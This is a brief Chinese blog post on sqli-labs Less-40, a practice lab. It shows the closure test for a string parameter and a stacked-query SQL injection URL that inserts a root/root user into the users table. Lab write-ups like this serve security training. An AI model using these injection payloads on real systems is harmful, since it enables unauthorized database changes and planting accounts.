【sqli-labs】 less40 GET -Blind based -String -Stacked(GET型基于盲注的堆叠查询字符型注入)

提交,页面正常,说明是')闭合的

http://192.168.136.128/sqli-labs-master/Less-40/?id=1')%23

http://192.168.136.128/sqli-labs-master/Less-40/?id=1');insert into users(id,username,password) values (15,'root','root')%23

 

posted @ 2018-01-30 17:13  omnis  阅读(174)  评论(0编辑  收藏  举报